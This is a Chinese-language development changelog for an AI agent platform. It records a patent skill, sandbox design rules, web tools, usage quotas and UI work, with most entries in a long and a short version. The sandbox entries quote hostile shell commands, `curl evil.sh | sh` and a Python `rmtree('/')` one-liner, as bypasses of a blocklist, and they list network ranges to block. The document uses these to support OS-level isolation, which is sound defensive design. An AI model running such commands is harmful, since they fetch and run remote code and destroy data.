- **新增 patent skill(中国发明专利技术交底书)**:`skills/patent/` 完整 6 文件 — `SKILL.md` 主入口(五阶段 workflow:摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,跟 proposal 同款 BLOCKING 节奏)+ `references/{disclosure_structure,patent_point_taxonomy,prior_art_search,self_check}.md` 4 份指南 + `templates/{spec,disclosure}.md` 2 份模板。**关键复用避免重复造**:① 素材摄取用 `markitdown` CLI(不内置 docx/pptx→md);② mermaid + docx 渲染直接复用 `skills/proposal/scripts/{render_diagrams,render_docx}.py`(参数兼容,patent 不另写);③ 现有技术检索走现成的 `web_search`/`web_fetch`(Bocha)+ `documents` + `research`,不实现 CNIPA Playwright 爬虫(反爬重、维护成本高,正式可作 IDS 提交的检索建议走线下专业渠道);④ 不实现修订日志(zcbot task 对话历史已有)。源 repo `github.com/handsomestWei/patent-disclosure-skill` 的 11 prompts 文件折叠进单份 SKILL.md(跟 proposal/ppt 风格一致)+ 8 Python tools 减到 0(全靠复用)。skill 内特有内容:7 章交底书骨架(技术领域 / 背景 / 发明内容 / 附图 / 实施方式 / 有益效果 / 权利要求建议)+ 三性自检(新颖/创造/实用)+ 9 类客体排除清单 + 6 类自查清单 + 脱敏边界(商业敏感词中性化、技术参数不脱敏)。`SkillRegistry` 自动发现验证通过。`DESIGN.md` 不动(无架构变化,纯新 skill);`RUN.md` 不动(无 CLI/env 变化) - **新增 patent skill(中国发明专利技术交底书)**:`skills/patent/` 6 文件,五阶段 workflow(摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,同 proposal BLOCKING 节奏)。复用 markitdown / proposal 的 render_diagrams+render_docx / web_search+documents+research,不造 CNIPA 爬虫,源 repo 8 Python tools 减到 0
- **§7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议)**:Stage C 动手前把"原则 → 具体协议"沉淀,防实施时漏。① 网络 blocklist 硬编码段(`169.254.0.0/16` cloud metadata / loopback / 内网三段 / `100.64.0.0/10` CGNAT,**PG IP 单独再 block 一遍**——Capital One 2019 同款攻击向量);② egress proxy 模型(容器 `HTTP_PROXY` env + iptables DROP except proxy 端口防 SDK 绕 env,宿主侧 proxy 做域名 allowlist + 字节计量 + `network_audit` 审计日志,allowlist 初始集列出 PyPI / GitHub / npm 等);③ 进程组清理协议(`docker exec` 走 `setsid` + `kill -- -PGID`,防 `nohup &` / `disown` 跨 exec 持久化破"同 user 不内隔离"残留风险假设);④ 磁盘配额硬化时点(开外部前必须升 xfs/ext4 project quota 或 zfs dataset quota,否则扫描间隙打满共享 fs 拖死同节点);⑤ Executor 接口走 backend driver + `ZCBOT_SANDBOX_RUNTIME` config 注入(未来切 gVisor/Firecracker/e2b 应用层零改动,避免 Docker API 形状泄漏到接口层);⑥ 工具按信任域二分 dispatch — **host in-process**:`read/write/edit/glob/grep/load_skill/web_search/web_fetch`(原本就在 host 持凭据 / 走 paths.py 校验,塞容器无收益付 200ms × N),**container exec**:`shell/run_python`(执行任意代码必隔离)。同时把 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号写死,反向兜底"无信号不升级"。否决:(a) 把落地清单同时写进 DESIGN 和 PROGRESS 双 source — 漂移源,PROGRESS 只指针 DESIGN;(b) 在落地清单里写"勾对"验收语气 — DESIGN 写为什么 + 协议形状,验收语气进 PROGRESS 下一步候选 DoD;(c) 立即开始实施 — 设计先沉淀,实施排进下一步候选 #2 单独节奏。`RUN.md` 不动(运行方式无变化,Stage C 还没实施)。 - **§7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议)**:网络 blocklist 硬编码(含 PG IP 单独再 block)/ egress proxy 模型 / 进程组清理(setsid + PGID kill)/ 磁盘配额硬化时点 / Executor backend driver / 工具按信任域二分 dispatch;并写死 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号,反向兜底"无信号不升级"。
### 2026-05-25 ### 2026-05-25
- **dev SPA 前端 CDN 资源本地化 + 升级稳定版**:`web/static/dev.html` 顶部 markdown 渲染依赖从 jsDelivr CDN 改成本地 `web/static/vendor/markdown/` 文件,避免内网/跨境访问 CDN 抖动导致 Markdown / XSS sanitizer / 代码高亮不可用。版本按 npm/latest 核对后固定为 `marked@16.2.1`(`marked.umd.js`)、`dompurify@3.2.6`、`highlight.js@11.11.1`(含 `github.min.css`),并新增 `tests/test_static_vendor.py` 标准库 unittest 回归检查:HTML 不再出现 `cdn.jsdelivr.net`,且 4 个本地 vendor 文件存在非空。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(运行方式无变化)。 - **dev SPA 前端依赖 CDN 本地化 + 升级稳定版**:markdown 渲染(`marked@16.2.1` / `dompurify@3.2.6` / `highlight.js@11.11.1`)从 jsDelivr 改本地 `vendor/`,避免内网 / 跨境 CDN 抖动致渲染 / sanitizer 不可用;`tests/test_static_vendor.py` 回归检查 HTML 无 `cdn.jsdelivr.net` + vendor 文件存在。
- **dev SPA 三类上传入口显示进度**:`web/static/dev.html` 上传底层从 `fetch` 改为 `XMLHttpRequest` 以使用 `xhr.upload.onprogress`,保留 `/v1/files/upload` 后端 API 不变。`uploadFiles(files,{onProgress})` 统一服务 Ctrl+V 粘贴、右侧上传按钮、右侧拖拽上传;粘贴时 `#chat-hint` 显示 `上传中 N% · 文件名 · 已传/总量`,完成后仍切到可预览/可删除 chip;右侧上传按钮和拖拽入口共用 `#file-upload-status` 状态条,显示总进度条和完成/失败短提示,成功后刷新文件列表。`DESIGN.md` 不动(纯 dev SPA 上传交互);`RUN.md` 不动(运行方式无变化)。 - **dev SPA 一批上传 / 布局交互打磨(同质合并)**:三类上传入口(粘贴 / 按钮 / 拖拽)改 `XMLHttpRequest` 显进度 + 粘贴上传 chip 可预览(`#mini-preview-modal` 不覆盖主预览)可删除;三栏支持右栏折叠 + 左右分隔线拖拽调宽(localStorage 持久化);右侧文件长名 hover 显全路径;左栏滚动条只覆盖 task 列表(IntersectionObserver root 移到 `#task-scroll`)。
- **dev SPA Ctrl+V 粘贴上传 chip 支持删除**:`web/static/dev.html` 粘贴上传成功后的 chip 改成 `paste-chip-wrap` 组合控件:文件名按钮继续预览,右侧 `×``POST /v1/files/delete` 删除该上传文件(`recursive:false`),删除后移除对应 chip、刷新右侧文件栏;若主/小预览当前正打开这个 rel,同步关闭对应预览。全部 chip 删除完后 `chat-hint` 显示"已删除粘贴文件"。`DESIGN.md` 不动(纯 dev SPA 交互);`RUN.md` 不动(运行方式无变化)。 - **接入博查 Web Search + Web Fetch 两个 tool**:`tools/web_search.py`(Bocha POST `/v1/web-search`,Bearer)+ `tools/web_fetch.py`(httpx + html2text,SSRF 内网屏蔽,截断 8000);web_fetch 无条件挂,web_search 仅 env 有 `BOCHA_API_KEY` 时挂。
- **dev SPA Ctrl+V 粘贴上传反馈改成可预览 chip**:`web/static/dev.html` `uploadFiles()` 成功时返回 `/v1/files/upload``saved[]` 元数据,粘贴文件后 `#chat-hint` 显示"已粘贴" + `.art-chip` 文件 chip + "可在右侧文件处查看",不再 4s 自动消失,下一次发送时由原有"发送中…"状态覆盖。chip 点击复用 `openFilePreview`;若主文件预览框已打开,改开新增的 `#mini-preview-modal` 小预览窗(支持 image/video/pdf/text/md,其它格式给下载兜底),避免覆盖用户当前正在看的主预览。`DESIGN.md` 不动(纯 dev SPA 交互);`RUN.md` 不动(运行方式无变化)。
- **dev SPA 三栏支持右文件栏折叠 + 左右分隔线拖拽调宽**:`web/static/dev.html` 主布局从 3 列 grid 改为 5 列 grid(任务栏 / 左 splitter / 对话栏 / 右 splitter / 文件栏),新增 `#split-left` / `#split-right` 两条 6px 拖拽分隔线,拖动时分别调整 `--left-pane-width` / `--right-pane-width` 并持久化到 localStorage(`zcbot.left-width` / `zcbot.right-width`)。右侧文件栏新增 `#pane-toggle-right`,折叠态复用左栏 rail 范式:列宽 40px,只保留展开按钮,状态持久化到 `zcbot.right-collapsed`;手机端继续走三 tab 单列,隐藏折叠按钮和 splitter,避免与移动端导航冲突。`DESIGN.md` 不动(纯 dev SPA 布局交互);`RUN.md` 不动(运行方式无变化)。
- **dev SPA 右侧文件列表长名称 hover 显示全路径**:`web/static/dev.html` 在右 pane 文件行 `.file-row .name` 和"选入…"源文件列表 `.sp-row .sp-name` 上补 `title`,内容取 `e.rel || e.name`,保留现有 ellipsis 截断视觉,鼠标悬停可看完整相对路径/名称。`DESIGN.md` 不动(无架构/心智模型变化);`RUN.md` 不动(运行方式无变化)。
- **dev SPA 左侧滚动条只覆盖 task 列表**:`web/static/dev.html` 左 pane 改成 flex column,顶部 4 行 pane-head(任务标题/新建/搜索筛选/排序)固定不参与滚动;`#task-list` 与 `#task-sentinel` 包进 `#task-scroll`,并把 IntersectionObserver root 从 `#pane-left` 改到 `#task-scroll`,保证无限滚动仍按列表区域触发。`DESIGN.md` 不动(无架构/心智模型变化);`RUN.md` 不动(运行方式无变化)。
- **接入博查 Web Search + Web Fetch 两个 tool**:`tools/web_search.py`(BochaConfig/BochaClient, POST `/v1/web-search`,Bearer 认证),`tools/web_fetch.py`(httpx + html2text,SSRF 内网屏蔽,截断 8000 字符);`config/web/bocha.yaml` 配置 API key env(`BOCHA_API_KEY`);`core/agent_builder.py` 注册 — web_fetch 无条件挂,web_search 仅在 env 设了 BOCHA_API_KEY 时挂(跟媒体 tool 同范式)。`requirements.txt` 加 `httpx>=0.27.0` + `html2text>=2024.0`。`DESIGN.md` 不动(纯新 tool 无架构变化);`RUN.md` 不动(运行方式无变化)。
### 2026-05-22 ### 2026-05-22
- **dev SPA 手机端对话面板顶栏 + chat-meta 紧凑化**:`web/static/dev.html` 手机段(≤640px)对 `#pane-mid > .pane-head``flex-wrap: wrap` + 按钮 `white-space: nowrap`,消除 5 个按钮(导出对话记录/清空对话/完成/废弃/删除)在 320-360px 视口被挤压后"完\n成"这种逐字竖排;同时藏掉 `.label`("对话",mobile-tabs 已亮态指示)和 `.spacer`(flex-wrap 下 spacer 会强制后续按钮换行影响视觉一致)。`#chat-meta` 同段把 `gap` 8px → 6px、藏 `.tid`(8 位 UUID 前缀手机用户用不上)、`.desc` 加 `max-width:60vw` ellipsis(避免长 description 独占一行);三个 model 下拉 label "模型/生图/生视频" 用 `.mdl-text / .mdl-icon` 双 span 渲染,桌面显文字 + 手机显 emoji(💬🖼🎬)—— `renderModelDropdown / renderImageModelDropdown / renderVideoModelDropdown` 三处统一。改动只在手机视口生效,桌面零变化。否决:(a) 折叠成 ⋯ 浮层菜单(用户拒,多一次点击);(b) 改图标按钮(5 个动作含义不直观需 tooltip);(c) 把 emoji 应用到桌面(无解决问题且改动用户已习惯的桌面态)。 - **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=...`)**:父页 postMessage 握手拿 JWT(`zcbot-ready` → 父端用 `PLATFORM_KEY` 换 token → `zcbot-token` 推回),`event.origin` 白名单双向校验,`PLATFORM_KEY` 不下发浏览器;藏 brand / 顶栏 / 退出。401 发 `zcbot-401` 等父端重换 token。`web/EMBED.md` 对接手册。
- **embed 模式接受 `task_id` URL 参数定位 task**:`web/static/dev.html` 解析 `?task_id=<uuid>` 并在首次签发 token 后调 `selectTask(task_id)` 自动加载该 task 的消息列表;两条进入路径都覆盖 —— ① `embedHandleMessage` 收到 `zcbot-token` 首次 `enterApp()` 之后(无缓存 token 走父端握手);② `embedInit` 启动时 localStorage 已有 token 直接 `enterApp()` 之后。`_embedInitialTaskHandled` once 标记保证只生效一次 —— 401 重签时不重置选择(尊重用户中间 UI 切过别的 task),后续切 task 走 UI 用户主导。task_id 错或不属于当前 user → `selectTask` 走原有 401/404 错误分支(chat 区显"加载失败:…")。`EMBED.md` URL 参数表新增 `task_id` 行 + 故障兜底表加一行"带 task_id 没自动定位"。否决:(a) postMessage 协议加 `zcbot-task` 让父端任意时刻切 task —— 当前需求只到"打开 iframe 时定位",加协议增维护面;父端要切换可重载 iframe 走 URL 参数同一路径;(b) 把 task_id 塞进 `zcbot-token` payload —— token 是身份,task 是导航状态,语义混耦;(c) 同时支持 `?msg_id=` 滚动到特定消息 —— 用户没要求,加 anchor 还要改 `loadMessages` 渲染后滚动逻辑,YAGNI。 - **embed 模式接受 `task_id` URL 参数定位 task**:首次签发 token 后 `selectTask`,`once` 标记只生效一次(401 重签不重置用户中途切的 task);task_id 错或不属于当前 user 走原 401/404 分支。
- **媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频)**:`config/agent.yaml` 加 `quotas` 段(`images_per_day: 20` / `videos_per_day: 5`),`core/storage/usage.py::check_daily_quota(user_id, kind, limit)` SELECT COUNT FROM usage_events WHERE user_id=? AND kind IN(image/video) AND created_at >= 本地今日 00:00,`limit<=0` 短路不查 DB。`SeedreamTool` / `SeedanceTool` ctor 新增 `daily_limit` 形参由 `agent_builder` 从 yaml 透传,`execute()` 起手 if 超额返 `[Error] 已达每日 X 生成上限(N/M),次日 00:00 重置` 不调远端不烧钱。tool 返串会进 LLM 上下文 → 模型据此对用户解释,所以**只暴露已用/上限 + 重置时间**,不写 `config/agent.yaml::quotas.X` 这种 yaml 路径(否则 LLM 倾向原文复述,SaaS 场景泄漏内部 schema 给外部用户;管理员要调改自己读代码/yaml 找,30 秒事)。**跨 task 跨 variant 全口径合计** —— 配额是账号级与具体 variant 无关(seedream + 未来的 seedream_pro 共享同一 20 张池)。失败任务不计 —— record_*_usage 只在成功+下载完才落库,失败 retry 不烧配额符合直觉。并发 race(同 user 跨 task 两次 check 同时过)可接受 —— 软上限非计费 hard cap,日级偶尔多 1 张不破坏保护意图,不加事务锁。否决:(a) env 变量(`ZCBOT_IMAGES_PER_DAY` 等)—— 配额是业务策略不是部署秘密 / 环境差异,跟现有 yaml 类参数(默认 size / 价格 / 超时)分工一致,且 yaml 带注释 + 多值组合扩展自然(未来加 audio_per_day);(b) AgentLoop 集中 pre-flight —— 给 loop 加配额映射反而散,tool 层自检每次只多一行 SQL 亚毫秒,符合"工具按原子操作切分";(c) 滑动 24h 窗口 —— 用户直觉是"今天用完了明天再来"的日历日,服务器本地 00:00 重置语义更顺;(d) tool 返串里贴 yaml 路径给管理员看 —— LLM 会向用户复述,泄漏内部 schema。 - **媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频)**:`quotas` 段 + `check_daily_quota` 按服务器本地今日 00:00 计;tool 超额返中文提示不调远端不烧钱。跨 task 跨 variant 账号级合计,失败不计,软上限不加事务锁。tool 返串只暴露已用 / 上限 + 重置时间,不贴 yaml 路径(防 LLM 复述泄漏内部 schema)。
- **"+ 新建任务"按钮从 header 挪到任务面板 + 改通栏单独一行**:`web/static/dev.html` `#hd-new` 节点直接在 HTML 里挪到 `#pane-left`,放在第一行 `.pane-head`(任务标题 + 计数 + filter + 刷新 + 折叠)之下、搜索行之上的独立 `.pane-head` 行,`flex:1` 撑满整行(primary 红底通栏 CTA)。原本塞在第一行 spacer 之后,但 pane 320px 宽度下"+ 新建任务"中文五字会被挤断行,通栏解决根因。语义更贴(新建任务 = 任务面板的动作);顶栏减负只剩身份区(brand / 用户名 / 退出登录);两种模式 DOM 一致,顺手删了 `embedInit` 里动态 `insertBefore` 那段 + `@media phone``#hd-new` 紧凑覆盖(通栏环境不需要缩字号)。桌面 / 平板折叠态被 `#pane-left > * { display: none }` 自动藏掉,无需额外覆盖。 - **对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容)**:`general_v1.md` 规定助手 echo 产物路径用 user_root 相对全形式 `<wd_name>/<rel>`(简写致 Web UI chip 失效),跨所有产物 skill 统一;imagegen/videogen SKILL 改"照抄 saved 行";`dev.html::extractArtifactRels` 一次性兼容历史简写。术语用 `<wd_name>`(working_dir 末段)而非 `<task_name>`(允许两者不等)。
- **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=...`)**:`web/static/dev.html` 加 embed 模式 — 父页面 iframe 嵌入时藏左上 brand / 顶栏 `#hd-who` / 退出登录按钮(桌面段整层 header `display:none`,移动段保留 header 给 `.mobile-tabs` 切换用),JS `embedInit``#hd-new`("+ 新建任务")从 header 节点移到任务面板 pane-head(spacer 之后、`#filter-status` 之前,加 `small` class 跟周边按钮对齐高度)。postMessage 协议:iframe 启动发 `{type:"zcbot-ready"}` 给父端,父端调自家后端用 `PLATFORM_KEY` 走 zcbot 已有的 `POST /v1/auth/login` 拿 JWT,通过 `{type:"zcbot-token", token, user_id, user_name?}` 推回 iframe;iframe 写 localStorage + `enterApp()`。401 时改写 `logout()` 不再 `location.reload()`,而是发 `{type:"zcbot-401"}` 通知父端重换 token,期间显灰底等待层(`#embed-waiting` spinner + 文案);新加 css class `body.embed-mode` / `body.embed-mode.embed-waiting` 控制可见性。**安全要点**:`event.origin` 双向校验(白名单 = URL 参数 `parent_origin`),缺参数直接显错误占位拒收;`PLATFORM_KEY` 留在 platform 后端绝不下发浏览器。`web/EMBED.md` 写给 platform 工程的对接手册(URL / 协议 / Node/Python 后端示例 / 父端前端示例 / CORS / CSP frame-ancestors 收紧建议 / 调试 + 故障兜底表)。否决:(a) URL 参数直接传 token —— Referer / 浏览器历史泄漏面;(b) 同源 + 共享 localStorage —— 用户明确说不同源;(c) 拆 dev.html 进 platform SPA route —— 工作量爆炸。 - **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`config/media/doubao.yaml` video 段 + `tools/seedance.py`(ark 建任务 → 5s 轮询 → download mp4,失败 / cancel 不计费);`build_agent` 加 `video_variant` + `cancel_check`(build 阶段传,轮询期响应停止);`web/app.py` + `dev.html` 第三下拉。skill 六维诊断把"光线"换成"运动 + 镜头",BLOCKING 门槛更严(¥4 vs ¥0.22)。phase 1 仅 t2v,fast 上限 720p。
- **dev SPA chat-input 支持 Ctrl+V 粘贴文件上传 + chat-hint 反馈**:`web/static/dev.html` 给 `#chat-input``paste` 监听 —— `e.clipboardData.files` 非空时 `preventDefault` + 复用现有 `uploadFiles(files)``/v1/files/upload` 落到 `state.filesPath`(与拖拽到右 pane 同通路);纯文本粘贴走默认不拦。`uploadFiles` 改返回 bool(成功 true / 失败 false,原 alert 行为不变);粘贴 handler 通过 `chat-hint` 广播 "上传中:<name>…" → "已粘贴:<name>"(4s 后回前一个 hint,同 `optimizePrompt` 救回范式,不破坏 streaming/optimizing 期间的状态)。失败仍走 alert,hint 立即恢复。placeholder 提示加 `Ctrl+V 可粘贴文件`。常见场景:截图后直接 Ctrl+V 入对话区当作素材上传,免去切窗口走右 pane 拖拽。 - **dev SPA 移动端自适应 + 交互打磨(同质合并)**:手机两档断点(平板 rail / 手机单列 + `.mobile-tabs` 切 pane,`100vh→100dvh` 解 iOS、输入 ≥16px 防 focus 缩放)+ 顶栏 / chat-meta 紧凑化;"+ 新建任务"按钮从 header 挪到任务面板通栏;chat-input 支持 Ctrl+V 粘贴文件上传;文件预览弹框让出 chat-form 高度(打开期输入区仍可点可打字)。
- **dev SPA 文件预览弹框让出 chat-form 高度(打开期间输入区仍可点可打字)**:`web/static/dev.html` 给 `#file-preview-modal``bottom: var(--preview-bottom-inset, 0)` —— 默认 0 行为不变,`openFilePreview` 时 JS 量 `#chat-form.offsetHeight`(隐藏走 `offsetParent` 判空 → 0,无活动任务恢复全屏)写到弹框元素 inline style 上;`.card` 加 `max-height: calc(100vh - var(...) - 32px)` 让卡片随容器收缩不溢出,手机段同理用 `100dvh`。`closeFilePreview` `removeProperty` 清掉避免下次冗余。弹框遮罩本身物理上不覆盖底部输入区 → chat-form 自然可点击/打字,Esc 与点遮罩关闭逻辑不动。否决:(a) 整窗 `pointer-events: none` + card 收回 —— 遮罩物理还在覆盖,视觉仍遮挡;(b) 弹框抽进 `#pane-mid` 内 absolute —— 弹框来源含 `#pane-right` 文件列表和聊天 chip,挂 mid 内会限制弹框只能在 mid 列,且 `#pane-mid` 多层 flex 嵌套要重排;(c) 硬编一个常量 `bottom: 140px` —— chat-form 高度依据 textarea 用户拖拽变化(min 60 但可拉高),JS 量一次足够准。
- **对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容)**:`prompts/system/general_v1.md`「路径」段加规则 —— 助手对外 echo 产物路径必须用 user_root 相对全形式 `<wd_name>/<rel>`(`<wd_name>` = task_dir 末段,如 `生图测试/videos/xxx.mp4` / `基金申报/sections/01-绪论.md` / `公司汇报/slides/deck.pptx`),不简写为 `videos/xxx.mp4` 这种 task 内裸形式(Web UI 按 `<wd_name>/` 前缀挂 chip,简写 → chip 失效用户点不开)。媒体 tool(`seedream` / `seedance`)的 `saved:` 行已是规范全形式可直接照抄,其他场景(ppt / proposal / coding 等 run_python/write 写文件)自己拼。**跨所有产物 skill 统一生效**(不止 imagegen/videogen)。`skills/imagegen/SKILL.md` + `skills/videogen/SKILL.md` 把原有"把 `saved: xxx` 告诉用户"重复教学改成"照抄 saved 行,详见 system「路径」段"(消除 skill 内具体写法 → 协议归一到 system,新产物 skill 不用重复教育)。ppt/proposal/coding 等 SKILL **不动** —— 它们只泛说"告诉用户文件路径"没教错,system 协议升级后助手自然按全形式 echo,加 skill 提醒反而是协议漂移源。`web/static/dev.html::extractArtifactRels` 加一次性兼容兜底:产物目录裸路径 `videos/xxx.<ext>` / `figures/xxx.<ext>`(协议刚性前历史简写)prepend `<wdName>/` 拼成 user_root rel —— 白名单显式枚举两项不扩展、长期老消息归档后整段可删。**术语校准**:前缀叫 `<wd_name>`(working_dir 最后一段)而非 `<task_name>` —— 用户允许 `wd_name ≠ task_name`(`build_agent` wd_raw 走 working_dir 字段独立可指定),`_display` 锚 user_root 出来的是 `<wd_name>`,SKILL/system 早期写 `task_name` 在分叉场景下会误导助手拼错前缀。否决:(a) 后端 `_display` 改 task-relative 让 tool 输出本身就裸 —— `Tool` 基类 + fs/skill_tool/seedream/seedance/agent_builder/smoke 改 8 个文件,且 fs 跨 task 时要分层 fallback(working_dir → user_root → 绝对),复杂度超过收益;(b) 后端补 HEAD 探针让前端验文件存在再挂 chip —— 工程量与开发期需求不匹配;(c) 白名单常驻服务所有简写形式 —— 维护负担+清单可能膨胀,改成"一次性兼容历史消息"角色后边界清晰;(d) 每个写产物的 SKILL 各加一句"按 system 协议" —— 协议漂移源,违反"system 谈通用、SKILL 谈领域"边界。
- **dev SPA 手机自适应:两档断点 + tab 单列**:`web/static/dev.html` 加 `@media`,**平板段(641-1024px)**纯 CSS 强制 rail(grid `40px 1fr 260px` + 左 pane 子项 `display:none` + 留 toggle 按钮),不写 localStorage —— 回桌面用户原偏好仍生效。**手机段(≤640px)**单列布局 grid `1fr` + `grid-template-areas:"head" "main"`,三 pane 都 `grid-area: main` 且默认 `display:none`,新加 `body.mv-{left,mid,right}` 控制当前可见 pane;header 加 `.mobile-tabs`(任务/对话/文件)桌面 `display:none`,手机段 `order:99 + flex-basis:100%` 换行铺底;`selectTask` 末加 `if (mqPhone.matches) setMobileView("mv-mid")` 选中任务自动切对话。`applyMobileMode()` 监听 `matchMedia("(max-width: 640px)")`,进手机时清 DOM 上的 `left-collapsed` class(localStorage 不动),回桌面再 `applyLeftCollapsed(读 localStorage)` 恢复。`100vh → 100dvh` 解决 iOS Safari 工具栏挤压;`textarea / input` 强制 ≥16px 防 focus 双指缩放;4 个 modal 卡片宽度从固定 px 改 `min(92vw, …)`,file-preview 改 `100vw × 100dvh` 全屏化。`#pane-toggle-left { display:none !important; }` 手机不允许折叠避免与 tab 切换语义冲突。否决:(a) 抽屉式(要写遮罩+手势 JS,自用工具不划算);(b) 只缩字号不改布局(三列在 360px 屏字段严重截断)。
- **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`config/media/doubao.yaml` 展开 video 段(`seedance_2_fast`:¥37/Mtok 文生 / ¥22/Mtok 图生,实测档位 480p 5s ¥1.86 / 720p 5s ¥4.00 — 由 token 公式 `(in+out)×W×H×fps/1024` 反推校验通过);`tools/seedance.py` 走 ark POST `/contents/generations/tasks` → 5s 间隔轮询 → succeeded 后 download mp4 + .meta.json 落 `<wd>/videos/<ts>-<rand>.mp4`,失败/cancel 不计费;`core/storage/usage.py::record_video_usage` 多态 units snapshot(resolution/duration/ratio/fps/tokens/单价);`build_agent` 加 `video_variant` + `cancel_check` 形参 — cancel_check 必须在 build 阶段传(SeedanceTool ctor 持有用于轮询期间响应停止按钮,改了原"build 后赋 agent.cancel_check"的延迟绑定,web 入口同步迁移);`web/app.py` 加 `_list_video_variants` / `_resolve_video_model` / `GET /v1/video_models` / `MessageRequest.video_model` / `OptimizePromptRequest.video_model`;`dev.html` 顶栏第三下拉 + `state.videoModels/videoModel` + 发消息一起 POST。前端 chip / inline `<video>` / `extractMediaBanner` / `_categorize` 在前期工作里已为 seedance 留好脚手架,几乎不动。`skills/videogen/SKILL.md` 六维诊断把 imagegen 的"光线"换成"运动+镜头"两维(运动必填,否则应该走 seedream 而非 seedance —— 差 18 倍价钱);BLOCKING 门槛比 imagegen 更严(¥4 vs ¥0.22)且要等 30-90s,贴 prompt+参数+预计花费+预计等待四件套等明确确认。`general_v1.md` 加 seedance 触发指引(平行 seedream)。phase 1 仅 t2v,**不支持 i2v**(skill 明示告诉用户)。fast 上限 720p,1080p+ 留给 pro variant(yaml 当前未配)。否决:(a) progress 事件流化(需要给 tool 加 sink 注入,phase 1 用 `run_status=running` 够了);(b) 远端 cgt-task DELETE(Volcengine 无明确 API,best-effort 不动);(c) i2v phase 1 拉进来(要图片转 URL + UI 选已有图,延后)。
### 2026-05-21 ### 2026-05-21
- **dev.html primary button hover 文字消失修复(`.primary:hover` 加 `background: var(--accent)`)**:`button:hover:not(:disabled)` 与 `button.primary:hover` 特异性同为 (0,2,1) 平手按源码序后者赢,但后者只声明了 `filter: brightness(1.08)` 没声明 `background`,导致 `background` fallback 到前者的 `var(--hover)` 浅灰,而 `color` 仍是 `.primary` 的白 —— 白字浅灰底视觉消失。修法守住 background = accent,brightness filter 在红底上正常提亮。"+ 新建任务" / "发送" 两个 primary 按钮 hover 体验回归。 - **dev SPA UI 打磨(同质合并)**:修 primary 按钮 hover 文字消失(`.primary:hover` 补 `background:var(--accent)`,原 fallback 到浅灰 + 白字消失);CSS 精简 + 圆角降档 + 4 个 modal 抽 `.modal` 基类(style 块 589→522 行,功能 0 改);新建任务弹窗 / 顶部 filter 工作目录回原生 `<select>` + sentinel `+ 新建「<name>」` + 二级 input(combobox 方案试过又推翻 —— 原生 select 更稳)。
- **sandbox 阻塞地位写进 DESIGN(§7.7 Stage C 标 hard prereq / §7.8 加 shell+run_python 无沙箱风险行 / §7.9 加"不在工具层加强黑名单"取舍 2026-05-21)**:用户提出"模型写危险 sh 命令直接执行就炸了"担忧,确认风险真实但分两层 —— 本地 dogfood blast radius 限自身,§5 less-scaffolding-more-trust 适用;SaaS 外部开放则 blast radius = 主机 + 跨 user 数据 + cloud IAM,信任模型完全变。`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd /` 全能过),不在它上面继续加规则 —— 命令注入图灵完备,黑名单 fundamentally broken,做复杂只给虚假安全感且误伤合法用法。正确防线在 OS 层 §7.5(per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup),Stage C 是开放外部用户的 hard prereq。否决了"shell=False + 拒管道 / 重定向 / `$()`"折中 —— 挡不住 `python -c` 间接路径且砍掉合法用法。 - **sandbox 阻塞地位写进 DESIGN(§7.7 hard prereq / §7.8 风险行 / §7.9 取舍)**:`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(命令注入图灵完备,黑名单 fundamentally broken),不继续加规则。正确防线在 OS 层 §7.5(docker exec + drop ALL caps + read-only + egress allowlist)。本地 dogfood blast radius 限自身;SaaS 外部开放才是 hard prereq。
- **dev.html CSS 精简 + 圆角降档 + modal 基类化(style 块 589 → 522 行,-11%)**:为了"没那么圆润"统一调整。引入 CSS tokens:① 语义色组 `--c-green/blue/purple/orange/red` + 同色 `-bg/-bd` 三件套,顶栏 5 个按钮 hover + dd-item + badge.completed + sp-copy/sp-move 全切到 token(同色 selector 合并:export ≈ sp-copy 蓝、abandon ≈ sp-move 橙,各省 1 条规则);② 圆角分档 `--r-sm/md/lg/xl` = 3/4/6/8px,主流 button/input/msg/menu 从 6px 降到 4px,modal card 从 8~12px 降到 6~8px,art-chip 999px 保留(胶囊语言);③ `--mono`/`--t`/`--shadow-card` 收敛重复 font-family/transition/box-shadow。④ 4 个 modal(`#admin-modal/#src-picker-modal/#new-task-modal/#file-preview-modal`)抽 `.modal` 基类(fixed/inset/bg/display/.show 五属性合并),id 选择器只留 z-index + 宽高差异;HTML 同步加 `class="modal"`(JS `classList.add("show")` 不动)。⑤ `.msg .body` 与 file-preview `.md-render` 合并 markdown 渲染规则(`.msg .body x, .md-render x { ... }`,从两套 17 条缩到一套 17 条多 selector)。⑥ `button:disabled` 全局兜底,删散落 2 处单独写;`#login input:focus` 与 `#admin-modal input:focus` 合并(规则一字不差)。`.dev-item.act-export/rename` 同色合并到一行。功能 0 改动,JS 完全不动;`.dd-item` 颜色微变(原 #2e7d32#27ae60 等,因为统一到 5 组色 token)是可接受的副作用。 - **system prompt 注入 task 预选 skill 提示**:`_build_system_prompt` 加 `task_skill` 参数,非空时加一行事实,与 general_v1 已有"对应 skill 先 load"规则组合 → 主动 load。否决"完整 SKILL.md 预注入"(把 skill 从 metadata 升格成 binding,投产比不划算)。
